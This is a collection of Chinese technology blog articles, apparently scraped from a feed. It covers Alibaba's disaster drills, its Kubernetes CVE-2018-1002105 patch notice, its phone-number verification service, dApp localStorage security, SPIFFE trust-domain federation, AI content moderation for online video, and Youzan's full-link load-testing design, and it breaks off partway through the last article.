礼，礼品包括旺仔牛奶、格子衬衫、键盘、香烟等。风险防控技术全面开放蚂蚁金服技术风险部门经过不断地升级，并将红蓝技术攻防演练形成常态化。除了每周进行全栈级别的演练，每年还会举行规模极大的“期中考试”和“期末考试”。这意味着，支付宝的风险防控体系持续地经受打磨与锤炼。目前，支付宝的“红蓝对抗”演练已经沉淀出一整套成熟的风险防控体系，通过仿真环境模拟天灾人祸，去考验技术架构的健壮性及技术人员的应急能力，从而全面地提升系统稳定，实现系统的高可靠性和高可用性。所谓的天灾和人祸。天灾指的是，当出现台风、断网、火情等极端异常情况的时候，系统如何快速应对。这有点类似于今年杭州云栖ATEC大会上，蚂蚁金服副CTO胡喜现场演练的异常断网情况下，“三地五中心”自动切换，保证支付服务不中断。人祸则是指因技术人员操作失误引发故障后，系统如何快速应。在蚂蚁金融科技官网（https://tech.antfin.com/）上可以看到，这些技术风险相关的能力已经对外开放，目前共有3款产品，包括容灾应急平台、全链路压测和资金安全监控；另外，还有3款产品，变更管控、巡检平台和黑屏运维管控即将上线对外开放。本文作者：平生栗子阅读原文本文为云栖社区原创内容，未经允许不得转载。

Kubernetes重大漏洞？阿里云已第一时间全面修复

摘要： Kubernetes社区发现安全漏洞 CVE-2018-1002105，阿里云容器服务已在第一时间完成全面修复，敬请广大用户登录阿里云控制台升级Kubernetes版本。近日，Kubernetes社区发现安全漏洞 CVE-2018-1002105，阿里云容器服务已在第一时间完成全面修复，敬请广大用户登录阿里云控制台升级Kubernetes版本。目前Kubernetes开发团队已经发布V1.10.11、V1.11.5修复补丁，阿里云容器服务也已在第一时间完成漏洞全面修复，用户登录阿里云控制台即可一键升级。更多信息可以移步公告《关于Kubernetes CVE-2018-1002105 提权漏洞的修复公告》漏洞发现后的措施具体而言有一下几种情况供大家参考：1 用户选用阿里云容器服务K8s影响范围有限，阿里云容器服务ACK一直在推进和保障最小权限原则，默认开启了RBAC，通过主账号授权管理默认禁止了匿名用户访问。同时Kubelet 启动参数为”anonymous-auth=false”，提供了安全访问控制，防止外部入侵。对于使用子账号的多租户ACK集群用户，子账号访问Kubernetes，其账号可能通过Pod exec/attach/portforward越权。如果集群只有管理员用户，则无需过度担心。子账号在不经过主账号自定义授权的情况下默认不具有聚合API资源的访问权限。这些子账号用户请选择合适业务时间升级，进入控制台点击一键更新安全版本Kubernetes。2 如果是完全自行搭建K8s如果是在ECS上自建k8s的用户，请务必检查各项配置，如有失误，会引发较大安全风险。若用户在阿里云ECS服务器上自建Kubernetes集群，建议第一时间登录Kubernetes官网下载最新版，做好备份给节点打快照，并检查好配置、确保权限最小化，选择合适业务时间升级。3 如果是在无服务器版本无服务器版本Kubernetes在此之前已额外加固，用户不受此漏洞影响更多关于阿里云容器服务本次漏洞有限，阿里云容器服务Kubernetes采用了企业级的安全防护设计，为云上开发者省去了很多烦恼：API Server配置默认禁止匿名访问容器集群采用VPC方案，网络环境全隔离用户可以选择在公网隐藏API Server默认子帐号没有访问集群资源的权限此外，无服务器版本Kubernetes已提前加固，用户不受此漏洞影响。去年11月，阿里云率先推出了Kubernetes管理服务，整合阿里云在虚拟化、存储、网络和安全能力的优势，提供多种应用发布方式和持续交付能力并支持微服务架构。用户可轻松创建、配置和管理虚拟机群集，在阿里云上部署和管理基于容器的应用程序。为降低开发应用门槛，阿里云对Kubernetes能力进行了多重补充。比如，通过选择不同节点，实现异构计算集群支持深度学习等场景，或者云上一键部署集群，集成解决方案。阿里云容器服务采用了高性能的神龙技术架构，资源利用率提升了3倍以上，同时融合以太网RDMA技术25Gb网络，相比自建性能可提高数倍。同时，阿里云还是业内首家提供ServiceMesh服务网格最佳实践及异地多活方案的云厂商。安全是容器服务的重中之重。阿里云容器服务充分考虑了企业级的安全诉求，所有组件均提供双向证书验证，预制开启RBAC等鉴权能力，用户可以通过阿里云控制台可以安全地管理集群资源。作为国内最大规模的公共云容器平台，阿里云已为西门子、新浪微博、国泰君安、小鹏汽车、安诺优达等数千多家企业提供容器服务，在全球十六个地域部署，支持公共云、专有云、金融云、政务云。

阿里云通信发布全新号码认证服务, 重新定义手机号码认证的方式

摘要：12月12日，阿里云通信宣布号码认证服务正式商用，将重新定义手机号码认证的方式。因移动应用实名制的政策要求，手机号码认证在移动APP的注册、登录等场景用的越来越多。而对于开发者来说，能完成手机号码认证的选择并不多，一般是借助短信、语音的基础通信通道，自己实现短信验证码或语音验证码来实现。此次，阿里云通信针对移动应用开发者对号码认证的强诉求，推出的号码认证服务可以解决APP在注册、登录和安全校验场景下的号码认证需求。一键注册转化高，免密登录体验佳，机卡校验安全好。一点接入，全网服务。12月12日，阿里云通信宣布号码认证服务正式商用，将重新定义手机号码认证的方式。因移动应用实名制的政策要求，手机号码认证在移动APP的注册、登录等场景用的越来越多。而对于开发者来说，能完成手机号码认证的选择并不多，一般是借助短信、语音的基础通信通道，自己实现短信验证码或语音验证码来实现。此次，阿里云通信针对移动应用开发者对号码认证的强诉求，推出的号码认证服务可以解决APP在注册、登录和安全校验场景下的号码认证需求。一键注册转化高，免密登录体验佳，机卡校验安全好。一点接入，全网服务。优势1：一键注册转化高让我们先从用户的角度来看看目前最常用的短信验证码的使用流程：输入手机号码 → 点击获取短信验证码 → 收到验证码短信 → 切换短信APP查看验证码 → 返回应用APP输入验证码 → 验证成功从上面的流程可以看到，待验证码下发到手机后，用户需要切换到短信界面记下验证码，若碰到APP设计有问题，切回应用APP界面后登录流程又需要走一遍；有时候验证码没记住，又要切回短信界面去再背一遍验证码，周而复始，十分麻烦。说了这么多，是不是觉得上面的验证方式很“坑爹”？为了解决上述一系列App验证过程中的问题，阿里云通信推出号码认证服务（Phone Number Verification Service），不走普通验证方式的"寻常路"，采用用户无感知的验证方式，全程无需等待，验证结果秒知，将用户的验证流程精简为：输入手机号码 → 验证成功。（图1）号码认证服务注册流程：由于注册认证的步骤被大幅减少，由原来的9个步骤减少为2个步骤，用户的注册转化率大幅提高。经验证，注册转化率比短验提升10%-15%（不用业务场景略有差异）。优势2：免密登录体验佳移动互联网时代，APP满天飞。作为互联网应用的用户，要记住这么多不同应用的密码，那真是一件头疼的事情。如果你用相同的密码，那又给撞库留下了安全隐患。另外，目前有一些第三方登录的存在，但在登录之后，应用开发者往往又会要求绑定一遍手机号码，费时费力。能否让用户“不用记忆密码”一步安全验证呢？让阿里云号码认证服务来帮您。（图2）号码认证服务登录流程：别看上面的流程貌似有点多，对于用户来说，仅需“授权提交认证”即可，后面的步骤都是由阿里云号码认证服务来完成。真正地，把方便留给用户，把麻烦留给自己。经过实际验证，阿里云号码认证的整体登录时长比短验要短13到19秒。优势3：机卡校验安全好今年开始，一种仿佛是“黑魔法”的新诈骗手段叫人人心惶惶：受害者只是睡了个觉，醒来就看到手机显示数百条在各大购物网站、手机银行甚至借贷网站的消费转账记录。另外，应用开发者为拉新提供的互联网权益，也往往被很快薅完，白白浪费了拉新成本。分析这些出现业务风险漏洞的应用，本质上是高安全等级的业务（如转账、权益领取等）办理过程中，使用短验进行安全校验。而短信验证码与手机SIM卡是可以机卡分离的，机卡不在一起就给不良分子留下了作恶的空间。目前，短信验证码已经成为互联网金融、电商服务验证的主要形式，一旦短信验证码被窃取，最后一道安全屏障就被突破了。（图3）号码认证服务安全校验流程：阿里云推出的“号码认证服务”，利用独有的机卡一体校验能力，可以为高安全等级的业务提供用户无感的安全校验。由于整个验证流程是通过后台的加密数据包进行的，没有明文的收发流程，而且可以快速验证当前应用所在的手机是否有办理业务的手机号码对应的SIM卡。因此，“短信嗅探”、“卡池远程提供验证码”等手段也就失效啦。优势4：一点接入，全网服务作为此前短信验证码的升级方案，阿里云号码认证服务整合三大运营商特有的网关认证能力，对所有阿里云客户提供。客户仅需在阿里云平台一点接入，就可以获得覆盖全网的号码认证服务。在阿里云通信的官网上，已经有试用的 Demo 可以体验了。整个过程非常的快，输入电话号码耗时 3 秒，认证不到 2 秒，整个过程也就不到 5 秒钟，也就是说秒速 5 厘米的樱花刚刚离开树梢一点点，「亚洲飞人」苏炳添还没跑到百米的一半，玛莎拉蒂 Levante 还没从零加速到百公里，认证就完成了。小结可以预见的是，未来升级到号码验证服务的互联网应用会越来越多，尤其是对安全要求比较高的那些应用和服务。比如支付宝的注册场景、优酷的红包领取场景等；外部也有BOSS直聘、天眼查等一批知名应用已经开始使用阿里云的号码认证服务。某种程度上来说，号码验证服务相比于短信验证码服务的进步，就有些类似于苹果 Face ID 相比于指纹识别的更新，更安全是基本要求，更方便是升级体验的核心动力，更无感则是用户「喜新厌旧」的附加因素。

以太坊开发时如何保证DApp本地存储localStorage的安全性？

部署去中心化应用程序dapp会引入一些有趣的安全性考虑因素，这些因素可能不会出现在更传统的开发中。我们如何保证dApp本地存储的安全性？提出这个问题的原因是我们在使用Colony dApp时遇到的一个重要障碍，那就是如何应对在使用IPFS或Swarm等分布式存储系统保持本地存储的dApp数据安全挑战。在本文中，我将从dApp开发人员的角度来看一下这个问题，然后研究一些可能的解决方案。共享本地存储localStorage的问题IPFS运行本地节点node，它与Web服务器捆绑在一起。捆绑的Web服务器使节点可以轻松地相互连接并共享网络中其他位置可能需要的数据。作为一个去中心化的应用程序构建器，你将依赖该Web服务器将你的内容从一个节点推送到另一个节点，从而使其可以根据需要立即供最终用户使用。假设你正在完全去中心化full decentralized并且正在避免使用DNS或Web代理等任何内容来跟踪你的内容在网络上的位置，那么访问dApp的方式通常是通过浏览器使用其查询本地节点哈希，如：http://localhost:8080/QmcefGgoVLMEPyVKZU48XB91T3zmtpLowbMK6TBM1q4Dw/现在，假设在正常使用期间，你的应用程序将在浏览器的localStorage保存数据：可能需要传递一些数据，或者保持本地用户交互的队列，以最大限度地减少链上交易并节省gas成本。浏览器中的本地存储仅限于特定的地址上下文（域和端口）。IPFS节点是获取此上下文的，这意味着通过IPFS Web服务器运行的任何去中心化应用程序将使用具有读写访问权限的相同localStorage。这可能是一个大问题。默认情况下，dApp的某些helper依赖项使用localStorage临时将密钥保存在纯文本中。这些数据不应该被看到的一天。另一个潜在的泄漏问题是保存其内存状态的软件包，以便以后可以恢复。类似Flux-like的库通常（相对）安全，因为它们只在内存中运行，但启用持久性状态会将该内存状态放入localStorage，从而将其打开给潜在的攻击者。缓解问题的策略不幸的是，安全没有灵丹妙药：作为一名dApp开发人员，为安全起见所做的任何调整都可能需要在开发的其他方面做出一些让步。以下是你可以做出的一些妥协：不存储任何数据这当然是最安全的方法，但它有点像烧毁你的房子来摆脱蟑螂。在本地存储数据的dApp中有许多功能和基本行为，删除太多后可能没有应用程序存在的意义了。此外，有许多库默认使用localStorage，你必须手动检查每个依赖项并删除任何需要它的库，否则就得自己修改库。加密一切这在理论上更有前途，特别是因为大多数dApp开发人员已经在看板上保持默认加密。加密的local storage值实际上，加密所有本地存储有点麻烦。要加密数据，必须有一个密钥：但是用户不能将该密钥存储在dApp中，因为它将被放在localStorage，这样做你就将回到原点。一种解决方案是使用钱包：你的dApp可能会以某种方式与区块链进行交互，要求用户解锁其钱包以发送和签署交易。由于无论如何都需要钱包与dApp交互，因此可以使用每个帐户的私钥privatekey来加密本地存储。然而，这也有一些缺点：每次想要与localStorage交互时，您都必须询问用户的纯文本私钥。像MetaMask这样的密钥管理软件不起作用，因为它永远不会暴露用户的私钥。使用Swarm和MistMist是作为dApp和以太坊浏览器构建的，因此它为该问题提供了一些特殊优势。默认情况下，Mist支持Swarm的bzz协议，因此你可以设置一个ens地址指向dApp的哈希值，然后使用Mist无需担心地浏览你的dApp。不幸的是，这只会解决通过Mist访问dApp的用户的问题。运行本地Swarm节点的用户仍然必须通过localhost访问，localhost仍然（可能）将数据泄露给其他dApp。为你的dApp创建一个浏览器扩展通过浏览器扩展程序运行你的应用程序将导致它获得单独的上下文（它将不再在localhost:8080），但它有点减弱了去中心化应用程序的目的，必须要依赖于像Chrome网络商店这样的中央权威机构用于管理和分配。此外，现在你必须为要支持的每个浏览器创建和维护单独的扩展，并通过其自己的特定集中式应用商店进行更新。不爽。创建一个独立的桌面应用程序和以前一样，创建独立应用程序是将dApp分离到自己的上下文的一种方式，这意味着它将获得自己的包装器（在本例中为electron）。独立的桌面应用程序具有额外的好处，可以捆绑外部库和你可能需要的任何其他内容，包括IPFS本身的单独实例。和以前说的一样，要有一些让步：除非你想要专门在bittorrent上分发应用程序，否则你需要找到一个集中托管的解决方案来进行分发和维护。你必须为electron桌面应用程序维护一个单独的存储库。如果你想将IPFS用于任何其他服务，你可能最终会在同一台计算机上运行多个节点，这可能会变得混乱。将你的应用代理到域名通过使用其他Web服务器代理本地节点，有两个优点：首先，现在你的dApp有一个友好的友好的人类可读地址，而不是一个冗长的哈希。其次，你的应用程序将拥有自己的上下文，并且不会共享localStorage。然而，代理确实跨越了“真正的”去中心化，用户将再次不得不依靠中央服务器来访问去中心化的服务。哎。对于去中心化的应用程序开发人员来说，现在还处于早期阶段。这种问题在新兴的“去中心化协议栈”中无处不在“：而且在我们提出更优雅的解决方案之前可能还需要一段时间。将来，在浏览器中支持本机IPFS或Swarm节点可以解决这个问题，并且无需将Web服务器与去中心化的文件存储捆绑在一起。用户可以输入类似ipfs://QmcefGgoVLMEPyVKZU48XB91T3zmtpLowbMK6TBM1q4Dw/并直接访问dApp，并为每个唯一的哈希分配自己的上下文。Mist和IPFS团队意识到了这个问题，并希望将未来版本中的解决方案纳入其中。但是现在，找到我们可以采用的解决方法并与社区的其他人分享它们会很有帮助。如果你是一名开发自己的去中心化应用程序dapp的开发人员，希望本文对没构建代码以避免数据泄漏有所帮助，如果你设计了另一个上面未提及的解决方案，请分享它！感谢Alex Rea和Griffin Hotchkiss帮助起草本文。======================================================================分享一些以太坊、EOS、比特币等区块链相关的交互式在线编程实战教程：java以太坊开发教程，主要是针对java和android程序员进行区块链以太坊开发的web3j详解。python以太坊，主要是针对python工程师使用web3.py进行区块链以太坊开发的详解。php以太坊，主要是介绍使用php进行智能合约开发交互，进行账号创建、交易、转账、代币开发以及过滤器和交易等内容。以太坊入门教程，主要介绍智能合约与dapp应用开发，适合入门。以太坊开发进阶教程，主要是介绍使用node.js、mongodb、区块链、ipfs实现去中心化电商DApp实战，适合进阶。C#以太坊，主要讲解如何使用C#开发基于.Net的以太坊应用，包括账户管理、状态与交易、智能合约开发与交互、过滤器和交易等。EOS教程，本课程帮助你快速入门EOS区块链去中心化应用的开发，内容涵盖EOS工具链、账户与钱包、发行代币、智能合约开发与部署、使用代码与智能合约交互等核心知识点，最后综合运用各知识点完成一个便签DApp的开发。java比特币开发教程，本课程面向初学者，内容即涵盖比特币的核心概念，例如区块链存储、去中心化共识机制、密钥与脚本、交易与UTXO等，同时也详细讲解如何在Java代码中集成比特币支持功能，例如创建地址、管理钱包、构造裸交易等，是Java工程师不可多得的比特币开发学习课程。php比特币开发教程，本课程面向初学者，内容即涵盖比特币的核心概念，例如区块链存储、去中心化共识机制、密钥与脚本、交易与UTXO等，同时也详细讲解如何在Php代码中集成比特币支持功能，例如创建地址、管理钱包、构造裸交易等，是Php工程师不可多得的比特币开发学习课程。tendermint区块链开发详解，本课程适合希望使用tendermint进行区块链开发的工程师，课程内容即包括tendermint应用开发模型中的核心概念，例如ABCI接口、默克尔树、多版本状态库等，也包括代币发行等丰富的实操代码，是go语言工程师快速入门区块链开发的最佳选择。汇智网原创翻译，转载请标明出处。这里是原文

研发中：联邦SPIFFE信任域

作者：Daniel Feldman介绍联邦信任域是SPIFFE和SPIRE最高需求和活跃开发的功能之一。在这篇博文中，我将概述我们当前的计划以及实施它的挑战。什么是联邦？SPIFFE信任域中的证书共享一个信任根。这是一个根信任捆绑包，由使用非标准化格式和协议在控制平面之间和内部共享的多个证书组成。然而，这还不够好。许多组织都有多个信任根源：可能是因为他们与不同的管理员有不同的组织划分，或者因为他们有偶尔需要沟通的独立的临时和生产环境。类似的用例是组织之间的SPIFFE互操作性，例如云供应商与其客户之间的互操作性。这两种用例都需要一个定义明确、可互操作的方法，以便一个信任域中的工作负载对不同信任域中的工作负载进行身份验证。这是联邦。联邦设计要实现联邦，我们必须在不同的SPIFFE服务器之间共享公钥。这不是一次性操作；由于密钥轮换，每个信任域的公钥会定期更改。每个联邦域必须定期下载其他域的公钥，其频率至少与密钥轮换一样快。定期下载证书的数据格式尚未最终确定。我们目前的想法是让SPIFFE的实现去使用JWKS格式，在一个众所周知的URL上公开发布证书。然后，要启动联邦关系，实现可以下载JWKS数据，并从中导入证书。我们喜欢JWKS，因为它是一种通用的、可扩展的格式，用于共享可以容纳JWT和X.509证书的密钥信息。（出于安全原因，SPIFFE需要不同的JWT和X.509标识的密钥材料 - 它们不能只是以不同格式编码的相同公钥。）JWKS的灵活性允许单个联邦API支持JWT和X.509 。工作负载APISPIFFE工作负载API提供用于读取联邦公钥的端点。此API与用于读取当前信任域的证书的API不同，所以应用程序可以区分本地和联邦域的客户端。SPIRE的实验支持虽然它尚未正式标准化为SPIFFE的一部分，但是SPIRE已经可以提供JWKS的实验性实施。挑战外部SPIFFE服务器的初始身份验证联邦API存在引导问题：如果双方都没有共享信任根，则无法建立初始安全连接。其一种解决方案，是使用两个SPIFFE服务器信任的证书颁发机构的Web PKI。另一种解决方案，是使用手动身份验证机制来消除对公共证书颁发机构（CA）的需求。SPIRE使用与节点和工作负载注册类似的方式实现联邦。随着我们扩展注册API，可以通过该API操作联邦，就像节点和工作负载注册一样。网络中断容错每次SPIFFE实现，从同等的SPIFFE实现，导入新证书时，它都会使用上一个已知捆绑包对连接进行身份验证。如果网络中断很长，并且两个SPIFFE实现无法通信，超过完整的密钥轮换周期，那么它们将无法继续进行通信，从而破坏了联邦关系。其一种解决方案，是将密钥轮换间隔，设置为长于可能的最长网络中断长度（或者如果发生长中断，则重新初始化联邦）。这是设计权衡：如果密钥轮换间隔较长，则受损密钥也将在较长时间内保持有效。或者，如果Web PKI可用于SPIFFE服务器，则可用于保护联邦连接。我们相信联邦SPIFFE服务器之间的Web PKI，将是一种常见的设计模式，因为它避免了长网络中断导致密钥轮换的问题。传递与双向联邦Kerberos和Active Directory具有与联邦相同的，称为“跨领域信任”。在大多数情况下，跨领域信任是双向的（双方互相信任）和传递（如果A信任B，B信任C，然后A信托C）。SPIFFE中的双向联邦通常（但并非总是如此）是可取的。对于公共API，API提供程序可能希望使用Web PKI来保护连接的服务器端，并使用SPIFFE来保护客户端。因此，我们不会自动配置双向联邦。对于具有许多信任域的大型组织，传递联邦可以简化实现复杂性。但是，传递联邦可能难以推断SPIFFE实现的安全属性。出于这个原因，我们现在没有在SPIFFE中实现传递联邦。目前，用户必须通过添加更多联邦关系，来手动配置传递和双向联邦。联邦信任域SVID的范围在Web PKI中，每个人都信任相同的根证书颁发机构。在SPIFFE中，彼此不完全信任的组织可能仍希望联邦其信任域。应用程序必须验证每个SVID是否由拥有该信任域的SPIFFE服务器颁发。想象一个奇怪的世界，可口可乐和百事可乐必须交换数据。为此，他们联邦各自的信任域。可口可乐的SPIFFE证书根，添加到百事可乐的信托商店，反之亦然。在证书验证的简单实现中，可口可乐服务器可以欺骗性地冒充百事可乐网络上的百事可乐服务器，因为百事可乐信任可口可乐的根证书！这是问题所在：根证书没有“范围”。任何CA都可以为任何名称签署证书。如果所有CA都受信任，例如在单个公司内，则可以。在具有多个CA的环境中，每个CA都应该只允许签署具有特定名称的证书，不然这会导致安全漏洞。防止这种情况的一种方法是使用X.509名称约束扩展。名称约束扩展允许将CA证书限制为为特定域名颁发证书。但是，在TLS库中对名称约束扩展的支持是有限的，并且它不能解决未来SPIFFE身份格式（如JWT）的问题。由于这些原因，SPIFFE不包括名称约束扩展。这意味着所有使用SVID的应用程序都必须检查SVID中的SPIFFE ID，是否与签署证书的实际CA的信任域匹配。这意味着检查百事可乐SVID不是被可口可乐的CA签名。当前广泛使用的应用程序（例如Web服务器和代理）不执行此检查。结论联邦对于SPIFFE的成功实施至关重要。但是，以安全和可用的方式实施它仍然存在挑战。我们正在努力与社区一起努力应对这些挑战，如果您有远见，我们很乐意听取您的意见！要了解有关SPIFFE联邦的更多信息：查看新的Java SPIFFE Federation Demo，它演示了在Tomcat服务器环境中使用SPIRE在两个域之间进行联邦。加入SPIFFE Slack与专家讨论SPIFFE。加入SPIFFE SIG-SPEC双月会议，设计SPIFFE联邦会的未来。（不久将有一个单独的联邦工作组。）

如何在网络视听行业建一扇内容安全大门？

在人工智能飞速发展的三年里，整个网络视听产业数字化发展速度非常迅猛。大数据作为如今这个时代的产物，正不断推动整个产业的发展。网络视听行业中存在海量的数据，比如视频内容、视频浏览量、广告点击量、会员信息等等，这些数据正在不断被汇总和计算，从中可以发掘更多的机会，以提升能力和效率，并为收益带来新增长。内容安全在整个发展过程中起着至关重要的作用，一方面需要根据国家合规要求及时做好自查以建立一个更加绿色的网络视听环境，另一方面需要建立一道坚实的安全防线抗击黑灰产。阿里云业务安全副总裁岑欣伟在第六届成都网络视听大会分论坛上这样说：“AI赋能内容安全的价值就是用技术驱动智能化的数据分析，为营造绿色的网络视听环境加码助力。”如今内容安全的建设在整个网络视听行业还存在很多问题，效率低、成本高和易漏检。随着各大视频网站，例如抖音、快手以及其他社交媒体平台上用户越来越多，内容不断增长，且形式也变得更加多样化，整个内容产能大大超出了之前的想象，因此保障平台内容的合规性非常有必要。但这样的井喷式增长体量如果还依赖于原始人力的话，无论是覆盖率还是精准度都难以达到要求，甚至对用户的体验也会产生很大影响，智能AI技术将成为催化剂，释放繁重的人力劳作，从而创造更大的市场价值。岑欣伟在现场表示，内容安全将迎来四个发展趋势：第一是二次元化：00后的新生力量让内容的产出呈现更多的二次元化发展，今天很多技术在二次元方面会有很大的提升空间，其复杂构图、强烈的色彩对比甚至是夸张的动作都会给内容安全的审核带来更大的难度。第二是版权问题：好的IP内容会创造更大的流量，因此其版权也会变得越来越贵。未来区块链技术与AI融合的新技术也许可以应用在视频内容的版权保护上。第三是黑灰产：这支看不见的的黑手在中国一年有将近千亿的收益，这是一个隐藏在华丽外表背后很深的市场。今天大量的问题都不仅是平台管理问题，还有社会问题及其他多元化因素产生的问题，因此要从源头管理，无论是传播链路还是落实到实体，高效的内容管控势在必行。第四是创新技术：技术是一把双刃剑，给产业带来升级和变革的同时，也可能会被不法分子利用，通过其中某一种特性来达到不法目的。为了满足不同类大众的观赏需求，未来的内容势必会越来越丰富。如何更高效的执行内容安全，如何更好的响应政策执行检查，如何做到更全面的覆盖，如何应对与专业灰黑产团伙的对抗，如何实现内容安全的高性价比等等一系列问题是每个企业需要思考的。我们需要一扇安全大门，一扇对自己内容进行监督管理的安全大门，阿里云内容安全大脑以内容全覆盖、风险全覆盖、处置全覆盖为目标，高效率、高质量的为用户提供内容风险监测能力，确保用户的业务合规。云上内容安全的优势会显得更加的明显。岑欣伟这样说道，同时他还指出了内容安全大脑的5大核心优势：标签丰富，自由定制。提供文本、图像、视频、音频、网页等多维度内容检测，覆盖涉政、涉恐、色情、垃圾广告等违规风险，并支持自定义标签及模型训练。实时情报，全网联动。基于海量数据对高危情报进行监测，对新风险实现模型的快速迭代，确保审核能力紧跟社会热点，确保业务合规。性价比高，根据用户实际业务体量，可以快速扩容至上万级别QPS。同时，自动化精准识别，节省99%以上的审核人力，毫秒级结果返回。智能运营，安全人才稀缺，阿里云内容安全大脑可使用少量的专业人员为10000多家用户优化复杂的算法策略，享受与阿里自身业务同规格的内容检测服务。云上默认安全，一键开启。使用阿里云OSS、CDN产品的用户，可以在云控制台一键启用图片风险检测，操作简便易用。据岑欣伟介绍，阿里云内容安全大脑每天处理信息量数十亿条，节省99%以上人力成本，支持100种以上风险场景检测，实现对视频内容的多模态智能识别，超大计算能力，精准识别能力，快速应急能力，帮助用户更好的实现内容监督。“一首诗一幅画都可能是中华五千年文化底蕴的沉淀，安全则在整个过程中起着重要的保驾护航作用，我希望阿里云在安全领域可以多出一份力，帮助我们做得更完美、更清晰、更安全。”最后岑欣伟表示。

有赞全链路压测实战

一、前言有赞致力于成为商家服务领域里最被信任的引领者，因为被信任，所有我们更需要为商家保驾护航，保障系统的稳定性。有赞从去年开始通过全链路压测，模拟大促真实流量，串联线上全部系统，让核心系统同时达到流量峰值：验证大促峰值流量下系统稳定性容量规划进行强弱依赖的划分降级、报警、容灾、限流等演练…通过全链路压测这一手段，对线上系统进行最真实的大促演练，获取系统在大压力时的表现情况，进而准确评估线上整个系统集群的性能和容量水平，不辜负百万商家的信任。有赞对于性能测试主要有线下单系统单接口、线上单系统以及线上全链路压测等手段，通过不同维度和颗粒度对接口、系统、集群层面进行性能测试，最终保障系统的稳定性。这里主要讲述一下，有赞全链路压测的相关设计和具体的实施。二、整体设计说到全链路压测，业内的淘宝、京东都都已有很成熟的技术，主要就是压测流量的制造、压测数据的构造、压测流量的识别以及压测数据流向的处理；直接看下有赞压测的整体设计：大流量下发器：其实就是模拟海量的用户去使用我们的系统，提供压测的流量，产生大促时的场景和流量；数据工厂：构造压测链路中用户请求的数据，以及压测铺底的数据、数据清洗、脱敏等工作；压测平台负责管理压测脚本和压测请求数据，从数据工厂获取压测数据集，分发到每一个压测 agent 机器上，agent 根据压测脚本和压力目标对线上机器发起请求流量，模拟用户的查看商品-添加购物车-下单-支付等行为，线上服务集群识别出压测的流量，对于存储的读写走影子存储。这里就要说到，线上压测很重要的一点就是不能污染线上的数据，不能让买卖家有感知，比如压测后，卖家发现多了好多订单，买家发现钱少了。所以，线上服务需要能够隔离出压测的流量，存储也需要识别出压测的数据，下面看一下有赞的压测流量和压测数据存储的隔离方案。三、流量识别要想压测的流量和数据不影响线上真实的生产数据，就需要线上的集群能识别出压测的流量，只要能识别出压测请求的流量，那么流量触发的读写操作就很好统一去做隔离了，先看一下有赞压测流量的识别：3.1 同步请求全链路压测发起的都是Http的请求，只需要要请求头上添加统一的压测请求头，具体表现形式为:Header Name:X-Service-Chain;Header Value:{“zan_test”: true}Dubbo协议的服务调用，通过隐式参数在服务消费方和提供方进行参数的隐式传递，表现形式为：Attachments:X-Service-Chain;Attachments Value:{“zan_test”: true}通过在请求协议中添加压测请求的标识，在不同服务的相互调用时，一路透传下去，这样每一个服务都能识别出压测的请求流量，这样做的好处是与业务完全的解耦，只需要应用框架进行感知，对业务方代码无侵入3.2 中间件NSQ:通过 NSQMessage 中添加 jsonExtHeader 的 KV 拓展信息，让消息可以从 Producer 透传到 Consumer 端，具体表现形式为：Key:zan_test;Value:trueWagon:对来自影子库的 binlog 通过拓展消息命令(PUB_EXT)带上压测标记{“zan_test”: true}3.3 异步线程异步调用标识透传问题，可以自行定制 Runnable 或者定制线程池再或者业务方自行定制实现。四、数据隔离通过流量识别的改造，各个服务都已经能够识别出压测的请求流量了，那么如何做到压测数据不污染线上数据，对于不同的存储做到压测数据和真实的隔离呢，有赞主要有客户端 Client 和 Proxy 访问代理的方式实现，下面就看一下有赞的数据隔离方案：4.1 Proxy 访问代理隔离针对业务方和数据存储服务间已有Proxy代理的情况，可以直接升级 Proxy 层，存储使用方完全无感知，无侵入，下面以 MySQL 为例，说明 Proxy 访问代理对于压测数据隔离的方案；业务方应用读写DB时，统一与 RDS-Proxy (介于 MySQL 服务器与 MySQLClient 之间的中间件)交互，调用 RDS-Proxy 时会透传压测的标记，RDS 识别出压测请求后，读写 DB 表时，自动替换成对应的影子表，达到压测数据和真实的生产数据隔离的目的ElasticSearch、KV 对于压测的支持也是通过 Proxy 访问代理的方式实现的4.2 客户端SDK隔离业务应用通过Client调用存储服务时，Client 会识别出压测的流量，将需要读写的 Table 自动替换为影子表，这样就可以达到影子流量，读写到影子存储的目的；Hbase、Redis 等采用此方案实现4.3 数据偏移隔离推动框架、中间件升级、业务方改造，难免会有遗漏之处，所以有赞对于压测的数据统一做了偏移，确保买卖家 ID 与线上已有数据隔离开，这样即使压测数据由于某种原因写入了真实的生产库，也不会影响到线上买卖家相关的数据，让用户无感知；这里要说一下特殊的周期扫表应用的改造，周期性扫表应用由于没有外部触发，所有无法扫描影子表的数据，如何让这样的 job 集群整体来看既扫描生产库，也扫描影子库呢？有赞的解决思路是，部署一些新的 job 实例，它们只扫描影子库，消息处理逻辑不变；老的 job 实例保持不变（只扫生产库）五、压测平台有赞的全链路压测平台目前主要负责压测脚本管理、压测数据集管理、压测 job 管理和调度等，后续会有重点介绍，这里不做深入压测的“硬件”设施基本已经齐全，下面介绍一下有赞全链路压测的具体实施流程吧六、压测实施流程废话不多说，直接上图：有赞全链路压测的执行流程如上图所示，下面具体看一下几个核心步骤在有赞是怎么做的。6.1 压测计划制定要想模拟大促时线上真实的流量情况，首先需要确认的就是压测场景、链路，压测的目录，以及压测的流量漏斗模型：压测的链路：根据公司具体业务具体分析，有赞属于电商类型公司，大促时候的峰值流量基本都是由于买家的购买行为导致的，从宏观上看，这样的购买行为主要是店铺首页-商品详情页-下单-支付-支付成功，我们把这一条骨干的链路称为核心链路，其实大促时主要就是保证核心链路的稳定性压测链路的漏斗模型：线上真实的场景案例是，100个人进入了商家的店铺首页，可能有50个人直接退出了，有50个人最终点击进入了商品详情页面，最终只有10个人下了单，5个人真正付款了，这就是压测链路的漏斗模型，也就是不同的接口的真实调用比例；实际的模型制定会根据近7天线上真实用户的行为数据分型分析建模，以及往期同类型活动线上的流量分布情况，构建压测链路的漏斗模型压测的场景：根据运营报备的商家大促活动的计划，制定大促的压测场景（比如秒杀、抽奖等），再结合近七天线上流量的场景情况，综合确定压测的场景；压测目标：根据运营报备的商家大促预估的PV和转换率情况，结合去年同期线上流量情况和公司业务的增长速率，取大值作为压测的目标6.2 数据工厂前面我们已经介绍了如何确定压测的目标、场景、链路，那么压测的数据怎么来尼，这就是数据工厂登场的时候了，下面就介绍一下有赞压测的数据工厂有赞的压测数据工厂主要负责，压测铺底数据的准备、压测请求数据块的生成；6.3 